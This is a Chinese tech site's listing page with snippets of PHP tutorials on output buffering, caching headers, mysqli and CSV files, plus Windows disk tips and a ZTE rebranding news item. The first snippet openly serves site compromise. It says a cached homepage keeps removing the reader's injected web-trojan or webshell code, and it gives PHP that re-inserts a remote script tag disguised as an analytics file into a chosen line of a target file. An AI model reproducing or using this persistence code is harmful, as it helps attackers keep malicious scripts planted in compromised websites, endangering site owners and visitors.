-
php在文件指定行中写入代码的方法
本文是一个php在文件指定行中写入代码的方法示例代码,感兴趣的同学参考下。 有的站主页是缓存页面,你加入的网马代码或是webshell代码经常被更新或是其它的因素干掉,所以弄了这个代码 <?php $file="aa.php" ; $code="<script src=http://www.google/ga.js></script>"; $f=fopen($file,"r+"); $content=fread($f,filesize($file)); fclose($f); if(!strstr($content,$code)){ $arrInsert = insertContent($file, $code, 3); unlink($file); foreach($arrInsert as $value) { file_put_contents($file, $value, FILE_APPEND); } } function insertConte...
PHP 2015-01-01 16:42:04 -
PHP输出缓存(output_buffering)使用详解
本文为大家讲解的是PHP输出缓存(output_buffering)使用详解,感兴趣的同学参考下。 首先明确一下PHP的输出顺序 1.打开了php输出缓存: echo,print -> php output_buffring -> server buffering -> browser buffering -> browser display 2.未打开php输出缓存: echo,print -> server buffering -> browser buffering -> browser display 另外明确一下浏览器的输出缓存:IE为256Bytes, Chrome与FireFox为1000Bytes,只有输出数据达到了这个长度或者脚本结束浏览器才会将数据输出在页面上 再来说说用到的几个PHP设置和API: 1.php.ini中的output_buffering配置 •Off: 表示关闭PHP输出缓存 •On: 打开无限大的输出缓存 •4096: 打开大小为4096Byte...
PHP 2015-01-01 00:18:05 -
中兴通讯明日将在全球启用新标识
站长搜索 郭晓峰 12月29日报道据站长搜索从知情人士获悉,中兴通讯将于明日在全球正式启用新的企业标识,并发布全新品牌标识语“未来,不等待”。据悉,新标识在全线产品系的应用将于2015年3月逐步开始,预计在一年内完成新标识替换,这也是中兴通讯自1985年成立以来首度换标...
电信通讯 2014-12-29 18:33:07 -
Php output buffering缓存及程序缓存使用详解
本文为大家讲解的是Php output buffering缓存及程序缓存使用详解,感兴趣的同学参考下。 在php中有时为了控制程序的输出显示顺序,提供了output buffering缓存(php自身缓存机制)...
PHP 2014-12-29 05:54:17 -
php写的带缓存数据功能的mysqli类
本文是一个php写的带缓存数据功能的mysqli类,感兴趣的同学参考下。 <?php /** * Mysqli类 */ class db_mysqli { protected $mysqli; protected $sql; protected $rs; protected $query_num = 0; protected $fetch_mode = MYSQLI_ASSOC; protected $cache_dir = './cache/'; protected $cache_time = 1800; public function __construct($dbhost, $dbuser, $dbpass, $dbname) { $this->mysqli = new mysqli($dbhost, $dbuser, $dbpass, $dbname); if(mysqli_connect_errno()) { $this->mysqli = false; echo '<h2>...
PHP 2014-12-29 05:39:03 -
PHP禁止页面缓存的代码
本文为大家讲解的是PHP如何实用header函数禁止页面缓存的实现方法代码,感兴趣的同学参考下。 核心代码: header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-cache, must-revalidate"); header("Pramga: no-cache"); 这对于某些页面来说是很有用的,例如:验证码,因为每次生成的验证码必须不同,否则验证码就没有任何意义了,这就可以用上面的语句实现禁止缓存...
PHP 2014-12-28 02:18:05 -
HTTP消息头网页缓存控制以及header常用指令介绍
本文为大家讲解的是HTTP消息头网页缓存控制以及header常用指令介绍,感兴趣的同学参考下。 网页的缓存是由HTTP消息头中的“Cache-control”来控制的,常见的取值有private、no-cache、max-age、must-revalidate等,默认为private...
PHP 2014-12-26 08:51:04 -
php对csv文件的读取,写入,输出下载操作详解
本文为大家讲解的是php对csv文件的读取,写入,输出下载操作详解,感兴趣的同学参考下。 <?php $file = fopen('text.csv','r'); while ($data = fgetcsv($file)) { //每次读取CSV里面的一行内容 //print_r($data); //此为一个数组,要获得每一个数据,访问数组下标即可 $goods_list[] = $data; } //print_r($goods_list); echo $goods_list[0][1]; fclose($file); ?> 在实际工作中,很多时候需要把网站上的一些数据下载到CSV文...
PHP 2014-12-24 23:00:05 -
缓存并压缩动态页面示例 控制PHP的输出
本文为大家讲解的是控制PHP的输出:缓存并压缩动态页面示例,感兴趣的同学参考下。 PHP4中最令人满意的事是——你可以让PHP缓存所有由脚本生成的输出,在你决定把它们送出之前,浏览器方是不会收到任何内容的 mod_gzip是一个Apache模块,其功能是使用Gzip压缩静态的html页面,遵循IETF标准的浏览器可以接受gzip编码(IE, Netscape等)...
PHP 2014-12-24 22:27:31 -
win10如何取消默认一周一次磁盘整理计划
在电脑操作过程中,电脑用户们偶尔也会利用磁盘碎片整理的方法来优化系统,但是对于磁盘整理碎片这个功能来说,经常使用显然是没有必要的,那么对于win10系统中默认的一周一次磁盘整理计划,有什么好的方法可以取消默认呢?下面就一起来看看win10如何取消默认一周一次磁盘整理计划。 1.点击打开这台电脑,在这台电脑中找到系统盘,然后右键点击选择“属性(R)”项...
系统程序 2014-12-24 18:45:10 -
如何在Win8系统打开磁盘管理器
磁盘管理是以一组磁盘管理应用程序的形式提供给用户,包含查错程序、磁盘碎片整理程序和磁盘整理程序。虽然磁盘管理功能可以方便用户对磁盘进行压缩、扩展和格式化等操作,但是很多用户还不知道如何打开...
系统程序 2014-12-24 18:06:10 -
php收集表单内容并写入文件的代码
本文是一个很简单的php入门教材,为大家讲解的是php收集表单提交的内容并写入文件的代码示例,感兴趣的同学参考下. 前两天,一朋友让我帮他写一个收集表单内容并写入文件的简单PHP代码,由于最近工作忙,也没有时间来写,今天终于抽出点时间来完成了这个任务,下面就把相关的代码开源出来,供大家参考 至于表单内容,这里就不多说了,主要是表单的action="getpost.php",也就是写getpost.php这个文件。下面就把这个文件里面的内容贴出来...
PHP 2014-12-20 11:36:04